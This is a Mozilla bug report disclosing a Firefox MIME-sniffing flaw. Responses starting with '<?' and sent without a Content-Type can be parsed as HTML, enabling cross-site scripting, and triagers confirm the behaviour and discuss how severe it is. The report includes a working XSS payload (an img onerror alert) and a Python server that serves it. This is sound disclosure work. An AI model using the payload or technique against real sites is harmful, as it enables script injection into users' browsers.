Open Bug 1881258 Opened 8 months ago Updated 14 days ago

MIME sniffing guesses HTML when blink and webkit choose text/plain. Could make Firefox users uniquely vulnerable on poorly configured sites

Categories

(Core :: Networking: HTTP, defect, P2)

defect

Tracking

()

People

(Reporter: islamrzayev26, Unassigned)

References

(Blocks 1 open bug, )

Details

(Keywords: reporter-external, sec-vector, Whiteboard: [reporter-external] [client-bounty-form] [verif?][necko-triaged])

Attachments

(2 files)

Attached image UXSS.png

So Firefox does Mime-Sniffing if no Content-Type header is provided(i think check happens for first characters of response body), like if the first string part of body is like: "<!DOCTYPE html><html>test<br>test", it tries to sniff the mime type as HTML normally. But if the beginning of response body starts with a normal string other than html magic bytes, it tries to encode them as safe html, even if later parts of body contains html renderable elements(like html tags).
But there was some kind of a different escaping(normally whole string was treated as a text mime type, so html encode to make it html safe) in a special circumstance, when a less-than and some special chars are followed in the start of response body - for example "<?" and so on. The difference here was that, the first less-than and last greater-than was used to construct a comment, some kind of escape was happening, but the problem here was the characters inside comment was not encoded. So i was able to trick the browser to escape from inside the commented out string and inject HTML to achieve a Universal XSS scenario for faulty behavior.

For demonstration of this bug, i hosted a reference content on my host as a PoC example.
So let's first observe the intended functionality.
Here is my host's endpoint link for this: http://161.35.83.251:8006/html_mime_protection_intended_sanitization
When you click it, the returned response body looks like this:

<? 
mime_check_protected <br> mime_check_protected

After it is accepted in Firefox, it looks like this in the DOM:

 
<!--?mime_check_protected <br-->
<html><head></head><body>mime_check_protected</body></html>

(intended.png)
As you can see, the first less-than and last greater-than signs are modified to make a full comment opening and closing, which normally prevents html execution.

The Bypass
The less-than and greater-than characters weren't escaping inside the comment, so i added closing part of comment structure firstly to close the comment(first), and after the malicious payload part, added a starting part of comment structure(second) to close the second comment. So the payload between the first and second comments will be executed as not properly escaped.

The url for UXSS poc: http://161.35.83.251:8007/html_mime_protection_sanitization_bypass
The response from server:

<?
 --> 
alma<img src='#' onerror=alert(atob(/aGFoYWhhIFhTUw==/.source))>alma 
<!-- 
?>

The browser incorrectly handles this and HTML is executed, leading to UXSS.
The image showing the behavior is in the attachments: UXSS.png

A real life scenario example:
A PHP app can return an error against the user input, which contains "<?php" in its first bytes in the response body, and if the attacker can inject characters anywhere inside this response(normally the user input causing the error is also returned), then they can use the bug the achieve UXSS.

Flags: sec-bounty?

Hi,
i think my test server is down,
For this url: http://161.35.83.251:8006/html_mime_protection_intended_sanitization use - http://161.35.83.251:8008/html_mime_protection_intended_sanitization

For UXSS poc url, use this - http://161.35.83.251:8008/html_mime_protection_sanitization_bypass

My python http server source code, if you want to for your own test engagement or in case my server is down again:

from http.server import BaseHTTPRequestHandler, HTTPServer

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/html_mime_protection_sanitization_bypass':
            self.send_response(200)
            self.send_header('Server', 'CustomServer')
            self.end_headers()
            self.wfile.write(b"<?\n --> \nalma<img src='#' onerror=alert(atob(/aGFoYWhhIFhTUw==/.source))>alma \n<!-- \n?>")
        elif self.path == '/html_mime_protection_intended_sanitization':
            self.send_response(200)
            self.send_header('Server', 'CustomServer')
            self.end_headers()
            self.wfile.write(b"<? \nmime_check_protected <br> mime_check_protected")
        else:
            self.send_response(404)
            self.send_header('Server', 'CustomServer')
            self.end_headers()
            self.wfile.write(b"Not Found")

def run(server_class=HTTPServer, handler_class=SimpleHTTPRequestHandler, port=8008):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print(f"Server running on port {port}")
    httpd.serve_forever()

if __name__ == "__main__":
    run()

I'm moving this to networking because it looks like the sniffing is done in nsHtml5StreamParser. We ought to be following the MIME Sniffing Standard and filing issues against the spec if we think it's wrong, but it doesn't look like that's the algorithm we're using.

A "Universal" XSS in one that can be deployed against a random site of your choosing, because it's a flaw in the browser itself. Although there are attempts to standardize this, "MIME sniffing" is already a browser mechanism trying to compensate for broken sites, so this parsing difference can only possibly turn into an XSS on a web sites that are already unsafe. The following conditions have to be met:

  1. the site accepts arbitrary uploads
  2. does not serve a content type with them
  3. does not itself filter or check the content for containing HTML or script-like text
  4. does not serve the X-content-type-options: nosniff header
  5. does not serve a content-security-policy that prevents unwanted script execution

The first one greatly limits the number of target sites. If that site is failing to take the rest of those measures then it's unlikely this is the only possible attack, and other attacks would work in all browsers.

Group: firefox-core-security → network-core-security
Component: Security → Networking: HTTP
Product: Firefox → Core

i think my test server is down, For this url: http://161.35.83.251:8006/html_mime_protection_intended_sanitization use - http://161.35.83.251:8008/html_mime_protection_intended_sanitization

Your machine is up, and there's a default apache page at http://161.35.83.251:80 , but none of the :800x ports are reachable. Either your servers are down or you've got a firewall blocking those ports. If this is a residential machine you might need to set up port forwarding on your router.

Attaching the reporter's python script for convenience if anyone else wants to try it.

Can confirm that Firefox treats both examples as HTML while Chrome and Safari treat both as plain text.

Status: UNCONFIRMED → NEW
Ever confirmed: true
Summary: HTML Mime type protection(safe mime sniffing if no Content-Type header is provided) in some cases can be bypassed and a Universal XSS can arise when less-than(<) and some special followup characters are used as first character set in the response body → MIME sniffing guesses HTML when blink and webkit choose text/plain. Could make Firefox users uniquely vulnerable on poorly configured sites
Blocks: 1851982
Severity: -- → S3
Priority: -- → P2
Whiteboard: [reporter-external] [client-bounty-form] [verif?] → [reporter-external] [client-bounty-form] [verif?][necko-triaged][necko-priority-new]]
Group: network-core-security
Keywords: sec-vector
Whiteboard: [reporter-external] [client-bounty-form] [verif?][necko-triaged][necko-priority-new]] → [reporter-external] [client-bounty-form] [verif?][necko-triaged]
Flags: sec-bounty? → sec-bounty-
Duplicate of this bug: 1895169
Duplicate of this bug: 1718618
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: